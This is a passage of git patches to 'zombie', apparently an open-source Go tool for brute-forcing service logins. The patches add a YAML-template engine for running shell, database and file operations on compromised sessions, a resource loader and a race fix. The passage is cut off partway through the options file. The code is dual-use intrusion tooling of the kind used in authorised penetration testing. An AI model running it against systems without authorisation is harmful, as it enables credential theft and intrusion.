- -func (c *Client) isLoginSucceed(responseString string) bool { - responseStringArray := strings.Split(responseString, "\n") - lastLine := responseStringArray[len(responseStringArray)-1] - if regexp.MustCompile("^[#$].*").MatchString(lastLine) { - return true - } - if regexp.MustCompile("^<[a-zA-Z0-9_]+>.*").MatchString(lastLine) { - return true - } - if regexp.MustCompile("(?:s)last login").MatchString(responseString) { - return true - } - if regexp.MustCompile("Microsoft Telnet Server").MatchString(responseString) { - return true - } - c.Clear() - c.writeContext("?") - time.Sleep(time.Second * 3) - responseString = c.readContext() - if strings.Count(responseString, "\n") > 6 { - //slog.Println(slog.WARN, "3|", c.IPAddr, c.Port, responseString) - return true - } - if len([]rune(responseString)) > 100 { - //slog.Println(slog.WARN, "4|", c.IPAddr, c.Port, responseString) - return true - } - return false -} diff --git a/plugin/telnet/telnet.go b/plugin/telnet/telnet.go deleted file mode 100644 index 72360a4..0000000 --- a/plugin/telnet/telnet.go +++ /dev/null @@ -1,48 +0,0 @@ -package telnet - -import ( - "github.com/chainreactors/zombie/pkg" -) - -type TelnetPlugin struct { - *pkg.Task -} - -func (s *TelnetPlugin) Unauth() (bool, error) { - c, err := NewClient(s.Address(), "", "", s.Duration()) - if err != nil { - return false, err - } - err = c.Login() - if err != nil { - return false, err - } - return true, nil -} - -func (s *TelnetPlugin) Login() error { - c, err := NewClient(s.Address(), s.Username, s.Password, s.Duration()) - if err != nil { - return err - } - err = c.Login() - if err != nil { - return err - } - - return nil - -} - -func (s *TelnetPlugin) Close() error { - return nil -} - -func (s *TelnetPlugin) Name() string { - return s.Service -} - -func (s *TelnetPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} From 9bcfed7622abacf02c93df24b893e44f71b27e26 Mon Sep 17 00:00:00 2001 From: M09Ic Date: Tue, 16 Jun 2026 03:17:31 -0700 Subject: [PATCH 04/18] feat: add ResourceLoader for controllable resource loading Mirrors gogo/spray ResourceLoader pattern. SDK zombie engine sets it to no-op after init, preventing repeated resource loading. Co-Authored-By: Claude Opus 4.6 (1M context) --- pkg/loader.go | 34 ++++------------------------------ pkg/resource_provider.go | 39 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 43 insertions(+), 30 deletions(-) diff --git a/pkg/loader.go b/pkg/loader.go index f556a42..650a734 100644 --- a/pkg/loader.go +++ b/pkg/loader.go @@ -20,32 +20,7 @@ var ( ) func Load() error { - var err error - err = LoadPorts() - if err != nil { - return err - } - - err = LoadKeyword() - if err != nil { - return err - } - - err = LoadRules() - if err != nil { - return err - } - - err = LoadTemplates() - if err != nil { - return err - } - - err = LoadFingers() - if err != nil { - return err - } - return err + return LoadResources() } func LoadKeyword() error { @@ -113,11 +88,10 @@ func LoadTemplates() error { if template.Info.Zombie == "" { continue } - Services.Register(&Service{Name: template.Info.Zombie, Source: NeutronSource}) - err := template.Compile(nil) - if err != nil { - return err + if err := template.Compile(nil); err != nil { + continue } + Services.Register(&Service{Name: template.Info.Zombie, Source: NeutronSource}) TemplateMap[template.Info.Zombie] = template // load gogo_finger-zombie-service map diff --git a/pkg/resource_provider.go b/pkg/resource_provider.go index aed5b41..09bb538 100644 --- a/pkg/resource_provider.go +++ b/pkg/resource_provider.go @@ -22,6 +22,45 @@ func ResetResourceProvider() { SetResourceProvider(nil) } +var resourceLoader struct { + sync.RWMutex + fn func() error +} + +// SetResourceLoader overrides the default resource loading strategy. +func SetResourceLoader(fn func() error) { + resourceLoader.Lock() + defer resourceLoader.Unlock() + resourceLoader.fn = fn +} + +// LoadResources executes the configured resource loader. +func LoadResources() error { + resourceLoader.RLock() + fn := resourceLoader.fn + resourceLoader.RUnlock() + if fn != nil { + return fn() + } + return defaultLoad() +} + +func defaultLoad() error { + if err := LoadPorts(); err != nil { + return err + } + if err := LoadKeyword(); err != nil { + return err + } + if err := LoadRules(); err != nil { + return err + } + if err := LoadTemplates(); err != nil { + return err + } + return LoadFingers() +} + // LoadEmbeddedConfig loads the standalone embedded config without consulting // an installed external provider. func LoadEmbeddedConfig(typ string) []byte { From 6bf4579de29da6d8fc25744c3ca315d9b7664728 Mon Sep 17 00:00:00 2001 From: M09Ic Date: Tue, 23 Jun 2026 21:13:17 -0700 Subject: [PATCH 05/18] fix: data race between Output send and OutputCh close Inner goroutines may still be sending on OutputCh when the main goroutine closes it after wg.Wait(). Protect both sides with a mutex and a closed flag. Co-Authored-By: Claude Opus 4.6 (1M context) --- core/runner.go | 21 +++++++++++++++------ 1 file changed, 15 insertions(+), 6 deletions(-) diff --git a/core/runner.go b/core/runner.go index 05af34f..ea8a806 100644 --- a/core/runner.go +++ b/core/runner.go @@ -61,11 +61,13 @@ func (h *hostLimiter) acquire(ctx context.Context, key string) (func(), bool) { type Runner struct { *RunnerOption - bar *pkg.Bar - stat *pkg.Statistor - wg *sync.WaitGroup - outlock *sync.WaitGroup - addlock *sync.Mutex + bar *pkg.Bar + stat *pkg.Statistor + wg *sync.WaitGroup + outlock *sync.WaitGroup + addlock *sync.Mutex + outMu sync.Mutex + outClose bool Plugins map[string]plugin.Plugin Pipeline []pkg.Action @@ -254,7 +256,10 @@ func (r *Runner) RunWithContext(ctx context.Context) error { if r.OutFunc != nil { r.outlock.Wait() } + r.outMu.Lock() + r.outClose = true close(r.OutputCh) + r.outMu.Unlock() select { case <-ctx.Done(): @@ -548,7 +553,11 @@ func (r *Runner) Output(res *pkg.Result) { r.outlock.Add(1) } r.stat.RecordResult(res) - r.OutputCh <- res + r.outMu.Lock() + if !r.outClose { + r.OutputCh <- res + } + r.outMu.Unlock() } func (r *Runner) OutputHandler() { From a9b0cc885b93114061c1b15727a5974dfabf1296 Mon Sep 17 00:00:00 2001 From: M09Ic Date: Wed, 24 Jun 2026 01:56:53 -0700 Subject: [PATCH 06/18] feat: add service protocol for YAML-driven post-exploitation templates Introduce a new `service` protocol that extends neutron's template engine into zombie's post-exploitation domain. Templates define operations (shell/db/kv/file/ldap) against authenticated sessions, reusing neutron's matcher/extractor/DSL engine for result analysis. Key components: - service/ package: Request, Op, Template implementing protocols.Request - Op types aligned to session types: shell, db, kv, file:{list/read}, ldap - KV unified command expression with GET/KEYS dispatch + RawCommander fallback - Template-level variables, CLI overrides (-V key=value), payload iteration - Chain mechanism for OS-adaptive template dispatch - ServiceAction bridging into zombie's existing worker pipeline - RedisSession.Command() for raw Redis command execution - --service-template CLI flag for loading service templates Co-Authored-By: Claude Opus 4.6 (1M context) --- action/service.go | 189 +++++++++ core/key_value.go | 21 + core/key_value_test.go | 22 + core/options.go | 671 ++++++++++++++++--------------- core/runner.go | 24 +- core/runner_option.go | 8 +- pkg/types.go | 21 + plugin/internal/kvsess/kvsess.go | 9 + service/execute.go | 428 ++++++++++++++++++++ service/load_test.go | 98 +++++ service/operators.go | 96 +++++ service/service.go | 98 +++++ service/service_test.go | 531 ++++++++++++++++++++++++ service/template.go | 186 +++++++++ 14 files changed, 2059 insertions(+), 343 deletions(-) create mode 100644 action/service.go create mode 100644 core/key_value.go create mode 100644 core/key_value_test.go create mode 100644 service/execute.go create mode 100644 service/load_test.go create mode 100644 service/operators.go create mode 100644 service/service.go create mode 100644 service/service_test.go create mode 100644 service/template.go diff --git a/action/service.go b/action/service.go new file mode 100644 index 0000000..8bb8ab3 --- /dev/null +++ b/action/service.go @@ -0,0 +1,189 @@ +package action + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/chainreactors/logs" + "github.com/chainreactors/neutron/protocols" + "github.com/chainreactors/parsers" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/service" + "gopkg.in/yaml.v3" +) + +type ServiceAction struct { + templates []*service.Template + index map[string]*service.Template + vars map[string]interface{} +} + +func NewServiceAction(templatePaths []string, vars map[string]interface{}) (*ServiceAction, error) { + execOpts := &protocols.ExecuterOptions{Options: &protocols.Options{}} + var templates []*service.Template + for _, p := range templatePaths { + tmpls, err := loadServiceTemplatesFromPath(p, execOpts) + if err != nil { + return nil, fmt.Errorf("load service templates from %s: %w", p, err) + } + templates = append(templates, tmpls...) + } + if len(templates) == 0 { + return nil, fmt.Errorf("no service templates loaded") + } + + index := make(map[string]*service.Template, len(templates)) + for _, t := range templates { + index[t.Id] = t + } + + return &ServiceAction{templates: templates, index: index, vars: vars}, nil +} + +func (a *ServiceAction) Name() string { return "service" } + +func (a *ServiceAction) Run(session pkg.Session, task *pkg.Task) (*pkg.ActionResult, error) { + result := &pkg.ActionResult{} + host := task.Address() + executed := make(map[string]bool) + + for _, tmpl := range a.templates { + if len(tmpl.Chains) > 0 { + // templates with chains are entry points only — skip if chained from elsewhere + continue + } + a.executeTemplate(tmpl, session, host, nil, result, executed) + } + + // now run entry-point templates (those with chains) + for _, tmpl := range a.templates { + if len(tmpl.Chains) == 0 { + continue + } + a.executeTemplate(tmpl, session, host, nil, result, executed) + } + + return result, nil +} + +func (a *ServiceAction) executeTemplate(tmpl *service.Template, session pkg.Session, host string, extraVars map[string]interface{}, result *pkg.ActionResult, executed map[string]bool) { + if executed[tmpl.Id] { + return + } + if !tmpl.Match(session.Service()) { + return + } + executed[tmpl.Id] = true + + vars := copyVars(a.vars) + for k, v := range extraVars { + vars[k] = v + } + + opResult, err := tmpl.ExecuteWithVariables(session, host, vars) + if err != nil { + logs.Log.Debugf("[service] template %s failed on %s: %v", tmpl.Id, host, err) + return + } + if opResult == nil { + return + } + + // collect extractions into result + if opResult.Matched || opResult.Extracted { + for name, extracts := range opResult.Extracts { + result.Extracteds = append(result.Extracteds, &parsers.Extracted{ + Name: fmt.Sprintf("%s:%s", tmpl.Id, name), + ExtractResult: extracts, + }) + } + for _, output := range opResult.OutputExtracts { + result.Extracteds = append(result.Extracteds, &parsers.Extracted{ + Name: tmpl.Id, + ExtractResult: []string{output}, + }) + } + } + + // execute chains — pass dynamic values from this template's result + if len(tmpl.Chains) > 0 { + chainVars := copyVars(vars) + for k, v := range opResult.DynamicValues { + if len(v) > 0 { + chainVars[k] = v[0] + } + } + for k, v := range opResult.Extracts { + if len(v) > 0 { + chainVars[k] = v[0] + } + } + + for _, chainID := range tmpl.Chains { + target, ok := a.index[chainID] + if !ok { + logs.Log.Debugf("[service] chain target %q not found (from %s)", chainID, tmpl.Id) + continue + } + a.executeTemplate(target, session, host, chainVars, result, executed) + } + } +} + +func copyVars(src map[string]interface{}) map[string]interface{} { + if src == nil { + return make(map[string]interface{}) + } + dst := make(map[string]interface{}, len(src)) + for k, v := range src { + dst[k] = v + } + return dst +} + +func loadServiceTemplatesFromPath(path string, execOpts *protocols.ExecuterOptions) ([]*service.Template, error) { + info, err := os.Stat(path) + if err != nil { + return nil, err + } + if !info.IsDir() { + return loadServiceTemplateFile(path, execOpts) + } + var templates []*service.Template + filepath.WalkDir(path, func(p string, d os.DirEntry, err error) error { + if err != nil || d.IsDir() { + return nil + } + if !strings.HasSuffix(p, ".yaml") && !strings.HasSuffix(p, ".yml") { + return nil + } + loaded, err := loadServiceTemplateFile(p, execOpts) + if err != nil { + logs.Log.Debugf("[service] skip %s: %v", p, err) + return nil + } + templates = append(templates, loaded...) + return nil + }) + return templates, nil +} + +func loadServiceTemplateFile(path string, execOpts *protocols.ExecuterOptions) ([]*service.Template, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + var tmpl service.Template + if err := yaml.Unmarshal(data, &tmpl); err != nil { + return nil, err + } + if len(tmpl.Services) == 0 { + return nil, nil + } + if err := tmpl.Compile(execOpts); err != nil { + return nil, err + } + return []*service.Template{&tmpl}, nil +} diff --git a/core/key_value.go b/core/key_value.go new file mode 100644 index 0000000..2e79eaa --- /dev/null +++ b/core/key_value.go @@ -0,0 +1,21 @@ +package core + +import ( + "fmt" + "strings" +) + +func parseKeyValueArgs(values []string) (map[string]interface{}, error) { + if len(values) == 0 { + return nil, nil + } + parsed := make(map[string]interface{}, len(values)) + for _, value := range values { + key, val, ok := strings.Cut(value, "=") + if !ok || strings.TrimSpace(key) == "" { + return nil, fmt.Errorf("invalid -V/-var value %q, expected key=value", value) + } + parsed[strings.TrimSpace(key)] = val + } + return parsed, nil +} diff --git a/core/key_value_test.go b/core/key_value_test.go new file mode 100644 index 0000000..a2d0bdd --- /dev/null +++ b/core/key_value_test.go @@ -0,0 +1,22 @@ +package core + +import "testing" + +func TestParseKeyValueArgs(t *testing.T) { + got, err := parseKeyValueArgs([]string{"cmd=id", "outfile=/tmp/a b.txt"}) + if err != nil { + t.Fatalf("parseKeyValueArgs: %v", err) + } + if got["cmd"] != "id" { + t.Fatalf("unexpected cmd: %#v", got["cmd"]) + } + if got["outfile"] != "/tmp/a b.txt" { + t.Fatalf("unexpected outfile: %#v", got["outfile"]) + } +} + +func TestParseKeyValueArgsRejectsInvalid(t *testing.T) { + if _, err := parseKeyValueArgs([]string{"cmd"}); err == nil { + t.Fatal("expected invalid key=value to fail") + } +} diff --git a/core/options.go b/core/options.go index 8b73b44..93313a5 100644 --- a/core/options.go +++ b/core/options.go @@ -1,331 +1,340 @@ -package core - -import ( - "encoding/json" - "errors" - "fmt" - "github.com/chainreactors/logs" - "github.com/chainreactors/utils" - "github.com/chainreactors/utils/fileutils" - "github.com/chainreactors/zombie/pkg" - "io/ioutil" - "strings" -) - -type Option struct { - InputOptions `group:"Input Options"` - OutputOptions `group:"Output Options"` - WordOptions `group:"Word Options"` - ActionOptions `group:"Post-Auth Actions"` - MiscOptions `group:"Misc Options"` -} - -type InputOptions struct { - IP []string `short:"i" long:"ip" alias:"ipp" description:"String, input ip"` - IPFile string `short:"I" long:"IP" description:"File, input ip list filename"` - CIDR []string `short:"c" long:"cidr" description:"String, input cidr"` - Username []string `short:"u" long:"user" description:"Strings, input usernames"` - UsernameFile string `short:"U" long:"USER" description:"File, input username list filename"` - Auth []string `short:"a" long:"auth" description:"Strings, input auth, username::password"` - AuthFile string `short:"A" long:"AUTH" description:"File, input auth list filename"` - UsernameRule string `long:"userrule" description:"String, input username generator rule filename"` - Password []string `short:"p" long:"pwd" description:"String, input passwords"` - PasswordFile string `short:"P" long:"PWD" description:"File, input password list filename"` - PasswordRule string `long:"pwdrule" description:"String, input password generator rule filename"` - Dictionaries []string `short:"d" long:"dict" description:"Strings, input dictionaries"` - JsonFile string `short:"j" long:"json" description:"File, input json result filename"` - GogoFile string `short:"g" long:"gogo" description:"File, input gogo result filename"` - ServiceName string `short:"s" long:"service" description:"String, input service name"` - FilterService string `short:"S" long:"filter-service" description:"String, filter service when input json/gogo file"` - Param map[string]string `long:"param" description:"params"` -} - -type OutputOptions struct { - OutputFile string `short:"f" long:"file" description:"File, output result filename"` - FileFormat string `short:"O" long:"file-format" default:"json" description:"String, output result file format"` - OutputFormat string `short:"o" long:"format" default:"string" description:"String, output result format"` - Debug bool `long:"debug" description:"Bool, enable debug"` - Quiet bool `short:"q" long:"quiet" description:"Bool, quiet mode"` -} - -type WordOptions struct { - Top int `long:"top" default:"0" description:"Int, top n words"` - ForceContinue bool `long:"force-continue" description:"Bool, force continue, not only stop when first success ever host"` - WeakPassWord bool `long:"weakpass" description:"Bool, common weak password rule"` - NoUnAuth bool `long:"no-unauth" description:"Bool, skip check unauth"` - NoCheckHoneyPot bool `long:"no-honeypot" description:"Bool, skip check honeypot"` -} - -type MiscOptions struct { - Raw bool `long:"raw" description:"Bool, parser raw username/password"` - Strict bool `long:"strict" description:"Bool, strict mode, when finger check pass will brute"` - Threads int `short:"t" default:"100" description:"Int, threads"` - Concurrency int `long:"concurrency" default:"8" description:"Int, max concurrent connections per host, keep below service rate-limits e.g. sshd MaxStartups(default 10) to avoid random connection drops being misread as wrong password; 0=unlimited"` - Timeout int `long:"timeout" default:"5" description:"Int, timeout"` - Mod string `short:"m" default:"clusterbomb" description:"String, clusterbomb/pitchfork/sniper"` - ListService bool `short:"l" long:"list" description:"Bool, list all service"` - Bar bool `long:"bar" description:"Bool, enable bar"` - Version bool `long:"version" description:"Bool, show version"` -} - -type ActionOptions struct { - Proton bool `long:"proton" description:"post-auth: collect info + run proton credential scan"` - ScanTemplates []string `long:"scan-template" description:"proton template file or directory for --proton"` - DBLimit int `long:"db-limit" default:"1000" description:"max rows per column in DB credential scan"` -} - -func (opt *Option) Validate() error { - if opt.Mod == "" { - opt.Mod = ModBomb - } - switch opt.Mod { - case ModBomb, ModPitchFork, ModSniper: - default: - return fmt.Errorf("unsupported mod %q, want clusterbomb, pitchfork, or sniper", opt.Mod) - } - if len(opt.IP) == 0 && opt.IPFile == "" && opt.JsonFile == "" && opt.GogoFile == "" && opt.CIDR == nil { - return errors.New("please input ip or or file or json file or gogo file") - } - if opt.Mod == ModPitchFork && opt.Auth == nil && opt.AuthFile == "" { - return errors.New("pitchfork mode requires auth, please set -a/-A") - } - if opt.WeakPassWord && (opt.Password == nil && opt.PasswordFile == "") { - return errors.New("use weak-password rule must set password, please set -p/-P") - } - if opt.PasswordRule != "" && (opt.Password == nil && opt.PasswordFile == "") { - return errors.New("use custom password rule must set password, please set -p/-P") - } - if opt.UsernameRule != "" && (opt.Username == nil && opt.UsernameFile == "") { - return errors.New("use custom username rule must set username, please set -u/-U") - } - return nil -} - -func (opt *Option) Prepare() (*Runner, error) { - var err error - var targets []*Target - - var file *fileutils.File - var outfunc func(string) - if opt.OutputFile != "" { - file, err = fileutils.NewFile(opt.OutputFile, fileutils.ModeAppend, false, false) - if err != nil { - return nil, err - } - outfunc = func(s string) { - if err := file.SyncWrite(s); err != nil { - logs.Log.Warn(fmt.Sprintf("write output file failed: %v", err)) - } - } - } - - runnerOpt := &RunnerOption{ - Threads: opt.Threads, - Concurrency: opt.Concurrency, - Timeout: opt.Timeout, - Top: opt.Top, - Mod: opt.Mod, - FirstOnly: !opt.ForceContinue, - NoUnAuth: opt.NoUnAuth, - NoCheckHoneyPot: opt.NoCheckHoneyPot, - Strict: opt.Strict, - Raw: opt.Raw, - Proton: opt.Proton, - ScanTemplates: opt.ScanTemplates, - DBLimit: opt.DBLimit, - } - - runner := NewRunner(runnerOpt) - if err := runner.BuildPipeline(); err != nil { - return nil, err - } - runner.File = file - runner.OutFunc = outfunc - runner.FileFormat = opt.FileFormat - runner.OutputFormat = opt.OutputFormat - - if opt.Bar { - pkg.InitBar() - } - - logs.Log.Importantf("mod: %s, check-unauth: %t, check-honeypot: %t", runner.Mod, !runner.NoUnAuth, !runner.NoCheckHoneyPot) - - if opt.ServiceName != "" { - runner.Services = strings.Split(strings.ToLower(opt.ServiceName), ",") - } - - if opt.JsonFile != "" { - // load json file - content, err := ioutil.ReadFile(opt.JsonFile) - if err != nil { - return nil, err - } - err = json.Unmarshal(content, &targets) - if err != nil { - return nil, err - } - logs.Log.Importantf("load %d targets from json: %s ", len(targets), opt.JsonFile) - } else if opt.GogoFile != "" { - targets, err = LoadGogoFile(opt.GogoFile) - if err != nil { - return nil, err - } - logs.Log.Importantf("load %d targets from gogo: %s ", len(targets), opt.GogoFile) - } else { - var ipg *Generator - - if opt.IP != nil { - ipg = NewGeneratorWithInput(opt.IP) - } else if opt.IPFile != "" { - ipg, err = NewGeneratorWithFile(opt.IPFile) - if err != nil { - return nil, err - } - } else if opt.CIDR != nil { - ipg = NewGeneratorWithChan(transformChan(utils.ParseCIDRs(opt.CIDR).Range())) - } - - if ipg == nil { - return nil, fmt.Errorf("not any ip input") - } - - ipg.Run() - - // 处理输入参数 - for input := range ipg.C { - t, ok := ParseUrl(input) - if !ok { - t = SimpleParseUrl(input) - } - - targets = append(targets, t) - } - if opt.IPFile != "" { - logs.Log.Importantf("load %d targets from file: %s", len(targets), opt.IPFile) - } - } - - for _, t := range targets { - // 如果指定了service, 将会覆盖json或gogo中的字段 - if opt.ServiceName != "" { - t.UpdateService(opt.ServiceName) - } - - if t.Service == "" { - logs.Log.Warn(t.String() + " null service") - continue - } - - if opt.FilterService != "" { - var ok bool - for _, s := range strings.Split(opt.FilterService, ",") { - if s == t.Service { - ok = true - break - } - } - if !ok { - continue - } - } - - // 命令行中指定的 param 会覆盖原有的配置 - if len(opt.Param) > 0 { - t.Param = opt.Param - } - runner.Targets = append(runner.Targets, t) - } - - var dicts [][]string - if opt.Dictionaries != nil { - var s strings.Builder - dicts = make([][]string, len(opt.Dictionaries)) - for i, f := range opt.Dictionaries { - dicts[i], err = loadFileToSlice(f) - if err != nil { - return nil, err - } - s.WriteString(fmt.Sprintf("%s: %ditems", f, len(dicts[i]))) - } - - logs.Log.Importantf("load dictionaries: %s", s.String()) - } - - var users, pwds *Generator - // load username - if opt.Username != nil { - if len(opt.Username) == 1 && dicts != nil { - users, err = NewGeneratorWithWord(opt.Username[0], dicts, nil) - if err != nil { - return nil, err - } - logs.Log.Importantf("parse username from %s", opt.Username[0]) - } else { - users = NewGeneratorWithInput(opt.Username) - } - } else if opt.UsernameFile != "" { - users, err = NewGeneratorWithFile(opt.UsernameFile) - if err != nil { - return nil, err - } - logs.Log.Importantf("load username from %s", opt.UsernameFile) - } - if opt.UsernameRule != "" { - err := users.SetRuleFile(opt.UsernameRule) - if err != nil { - return nil, err - } - } - runner.Users = users - - // load password - if opt.Password != nil { - if len(opt.Password) == 1 && dicts != nil { - pwds, err = NewGeneratorWithWord(opt.Password[0], dicts, nil) - if err != nil { - return nil, err - } - logs.Log.Importantf("parse password from %s ", opt.Password[0]) - } else { - pwds = NewGeneratorWithInput(opt.Password) - } - } else if opt.PasswordFile != "" { - pwds, err = NewGeneratorWithFile(opt.PasswordFile) - if err != nil { - return nil, err - } - logs.Log.Importantf("load password from %s", opt.PasswordFile) - } - if opt.PasswordRule != "" { - err := pwds.SetRuleFile(opt.PasswordRule) - if err != nil { - return nil, err - } - } else if opt.WeakPassWord { - err := pwds.SetInternalRule("weakpass") - if err != nil { - return nil, err - } - } - runner.Pwds = pwds - - // load auth pair - var auths *Generator - if opt.Auth != nil { - auths = NewGeneratorWithInput(opt.Auth) - } else if opt.AuthFile != "" { - auths, err = NewGeneratorWithFile(opt.AuthFile) - if err != nil { - return nil, err - } - logs.Log.Importantf("load auth from %s", opt.AuthFile) - } - if auths != nil { - runner.Auths = auths - runner.Mod = ModPitchFork - } - - runner.bar = pkg.NewBar("targets", len(targets), runner.stat) - - return runner, nil -} +package core + +import ( + "encoding/json" + "errors" + "fmt" + "github.com/chainreactors/logs" + "github.com/chainreactors/utils" + "github.com/chainreactors/utils/fileutils" + "github.com/chainreactors/zombie/pkg" + "io/ioutil" + "strings" +) + +type Option struct { + InputOptions `group:"Input Options"` + OutputOptions `group:"Output Options"` + WordOptions `group:"Word Options"` + ActionOptions `group:"Post-Auth Actions"` + MiscOptions `group:"Misc Options"` +} + +type InputOptions struct { + IP []string `short:"i" long:"ip" alias:"ipp" description:"String, input ip"` + IPFile string `short:"I" long:"IP" description:"File, input ip list filename"` + CIDR []string `short:"c" long:"cidr" description:"String, input cidr"` + Username []string `short:"u" long:"user" description:"Strings, input usernames"` + UsernameFile string `short:"U" long:"USER" description:"File, input username list filename"` + Auth []string `short:"a" long:"auth" description:"Strings, input auth, username::password"` + AuthFile string `short:"A" long:"AUTH" description:"File, input auth list filename"` + UsernameRule string `long:"userrule" description:"String, input username generator rule filename"` + Password []string `short:"p" long:"pwd" description:"String, input passwords"` + PasswordFile string `short:"P" long:"PWD" description:"File, input password list filename"` + PasswordRule string `long:"pwdrule" description:"String, input password generator rule filename"` + Dictionaries []string `short:"d" long:"dict" description:"Strings, input dictionaries"` + JsonFile string `short:"j" long:"json" description:"File, input json result filename"` + GogoFile string `short:"g" long:"gogo" description:"File, input gogo result filename"` + ServiceName string `short:"s" long:"service" description:"String, input service name"` + FilterService string `short:"S" long:"filter-service" description:"String, filter service when input json/gogo file"` + Param map[string]string `long:"param" description:"params"` +} + +type OutputOptions struct { + OutputFile string `short:"f" long:"file" description:"File, output result filename"` + FileFormat string `short:"O" long:"file-format" default:"json" description:"String, output result file format"` + OutputFormat string `short:"o" long:"format" default:"string" description:"String, output result format"` + Debug bool `long:"debug" description:"Bool, enable debug"` + Quiet bool `short:"q" long:"quiet" description:"Bool, quiet mode"` +} + +type WordOptions struct { + Top int `long:"top" default:"0" description:"Int, top n words"` + ForceContinue bool `long:"force-continue" description:"Bool, force continue, not only stop when first success ever host"` + WeakPassWord bool `long:"weakpass" description:"Bool, common weak password rule"` + NoUnAuth bool `long:"no-unauth" description:"Bool, skip check unauth"` + NoCheckHoneyPot bool `long:"no-honeypot" description:"Bool, skip check honeypot"` +} + +type MiscOptions struct { + Raw bool `long:"raw" description:"Bool, parser raw username/password"` + Strict bool `long:"strict" description:"Bool, strict mode, when finger check pass will brute"` + Threads int `short:"t" default:"100" description:"Int, threads"` + Concurrency int `long:"concurrency" default:"8" description:"Int, max concurrent connections per host, keep below service rate-limits e.g. sshd MaxStartups(default 10) to avoid random connection drops being misread as wrong password; 0=unlimited"` + Timeout int `long:"timeout" default:"5" description:"Int, timeout"` + Mod string `short:"m" default:"clusterbomb" description:"String, clusterbomb/pitchfork/sniper"` + ListService bool `short:"l" long:"list" description:"Bool, list all service"` + Bar bool `long:"bar" description:"Bool, enable bar"` + Version bool `long:"version" description:"Bool, show version"` +} + +type ActionOptions struct { + Proton bool `long:"proton" description:"post-auth: collect info + run proton credential scan"` + ScanTemplates []string `long:"scan-template" description:"proton template file or directory for --proton"` + DBLimit int `long:"db-limit" default:"1000" description:"max rows per column in DB credential scan"` + ServiceTemplates []string `long:"service-template" description:"service protocol template file or directory for post-auth exploitation"` + ServiceVars []string `short:"V" long:"var" description:"custom service-template variables in key=value format"` +} + +func (opt *Option) Validate() error { + if opt.Mod == "" { + opt.Mod = ModBomb + } + switch opt.Mod { + case ModBomb, ModPitchFork, ModSniper: + default: + return fmt.Errorf("unsupported mod %q, want clusterbomb, pitchfork, or sniper", opt.Mod) + } + if len(opt.IP) == 0 && opt.IPFile == "" && opt.JsonFile == "" && opt.GogoFile == "" && opt.CIDR == nil { + return errors.New("please input ip or or file or json file or gogo file") + } + if opt.Mod == ModPitchFork && opt.Auth == nil && opt.AuthFile == "" { + return errors.New("pitchfork mode requires auth, please set -a/-A") + } + if opt.WeakPassWord && (opt.Password == nil && opt.PasswordFile == "") { + return errors.New("use weak-password rule must set password, please set -p/-P") + } + if opt.PasswordRule != "" && (opt.Password == nil && opt.PasswordFile == "") { + return errors.New("use custom password rule must set password, please set -p/-P") + } + if opt.UsernameRule != "" && (opt.Username == nil && opt.UsernameFile == "") { + return errors.New("use custom username rule must set username, please set -u/-U") + } + return nil +} + +func (opt *Option) Prepare() (*Runner, error) { + var err error + var targets []*Target + + var file *fileutils.File + var outfunc func(string) + if opt.OutputFile != "" { + file, err = fileutils.NewFile(opt.OutputFile, fileutils.ModeAppend, false, false) + if err != nil { + return nil, err + } + outfunc = func(s string) { + if err := file.SyncWrite(s); err != nil { + logs.Log.Warn(fmt.Sprintf("write output file failed: %v", err)) + } + } + } + + serviceVars, err := parseKeyValueArgs(opt.ServiceVars) + if err != nil { + return nil, err + } + + runnerOpt := &RunnerOption{ + Threads: opt.Threads, + Concurrency: opt.Concurrency, + Timeout: opt.Timeout, + Top: opt.Top, + Mod: opt.Mod, + FirstOnly: !opt.ForceContinue, + NoUnAuth: opt.NoUnAuth, + NoCheckHoneyPot: opt.NoCheckHoneyPot, + Strict: opt.Strict, + Raw: opt.Raw, + Proton: opt.Proton, + ScanTemplates: opt.ScanTemplates, + DBLimit: opt.DBLimit, + ServiceTemplates: opt.ServiceTemplates, + ServiceVars: serviceVars, + } + + runner := NewRunner(runnerOpt) + if err := runner.BuildPipeline(); err != nil { + return nil, err + } + runner.File = file + runner.OutFunc = outfunc + runner.FileFormat = opt.FileFormat + runner.OutputFormat = opt.OutputFormat + + if opt.Bar { + pkg.InitBar() + } + + logs.Log.Importantf("mod: %s, check-unauth: %t, check-honeypot: %t", runner.Mod, !runner.NoUnAuth, !runner.NoCheckHoneyPot) + + if opt.ServiceName != "" { + runner.Services = strings.Split(strings.ToLower(opt.ServiceName), ",") + } + + if opt.JsonFile != "" { + // load json file + content, err := ioutil.ReadFile(opt.JsonFile) + if err != nil { + return nil, err + } + err = json.Unmarshal(content, &targets) + if err != nil { + return nil, err + } + logs.Log.Importantf("load %d targets from json: %s ", len(targets), opt.JsonFile) + } else if opt.GogoFile != "" { + targets, err = LoadGogoFile(opt.GogoFile) + if err != nil { + return nil, err + } + logs.Log.Importantf("load %d targets from gogo: %s ", len(targets), opt.GogoFile) + } else { + var ipg *Generator + + if opt.IP != nil { + ipg = NewGeneratorWithInput(opt.IP) + } else if opt.IPFile != "" { + ipg, err = NewGeneratorWithFile(opt.IPFile) + if err != nil { + return nil, err + } + } else if opt.CIDR != nil { + ipg = NewGeneratorWithChan(transformChan(utils.ParseCIDRs(opt.CIDR).Range())) + } + + if ipg == nil { + return nil, fmt.Errorf("not any ip input") + } + + ipg.Run() + + // 处理输入参数 + for input := range ipg.C { + t, ok := ParseUrl(input) + if !ok { + t = SimpleParseUrl(input) + } + + targets = append(targets, t) + } + if opt.IPFile != "" { + logs.Log.Importantf("load %d targets from file: %s", len(targets), opt.IPFile) + } + } + + for _, t := range targets { + // 如果指定了service, 将会覆盖json或gogo中的字段 + if opt.ServiceName != "" { + t.UpdateService(opt.ServiceName) + } + + if t.Service == "" { + logs.Log.Warn(t.String() + " null service") + continue + } + + if opt.FilterService != "" { + var ok bool + for _, s := range strings.Split(opt.FilterService, ",") { + if s == t.Service { + ok = true + break + } + } + if !ok { + continue + } + } + + // 命令行中指定的 param 会覆盖原有的配置 + if len(opt.Param) > 0 { + t.Param = opt.Param + } + runner.Targets = append(runner.Targets, t) + } + + var dicts [][]string + if opt.Dictionaries != nil { + var s strings.Builder + dicts = make([][]string, len(opt.Dictionaries)) + for i, f := range opt.Dictionaries { + dicts[i], err = loadFileToSlice(f) + 